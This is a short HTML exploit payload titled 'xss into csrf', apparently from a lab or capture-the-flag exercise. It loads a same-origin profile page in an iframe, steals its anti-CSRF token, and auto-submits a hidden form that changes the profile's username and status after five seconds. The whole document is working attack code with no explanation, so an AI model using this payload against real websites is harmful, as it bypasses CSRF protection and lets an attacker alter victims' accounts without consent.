xss into csrf

<iframe id="iframe" src="?action=profile" onload="read()"></iframe>
<script>
function read()
{
 document.getElementById('token').value = document.getElementById("iframe").contentDocument.forms[0].token.value;
}
</script>


<form id="csrf" action="?action=profile" method="POST" enctype="multipart/form-data">
      <input type="hidden" name="username" value="test" />
      <input type="hidden" name="status" value="on" />
      <input id="token" name="token" value="" />
      <input type="submit" value="Submit request" />
      <script>setTimeout(function () {document.getElementById("csrf").submit()}, 5000);</script>
    </form>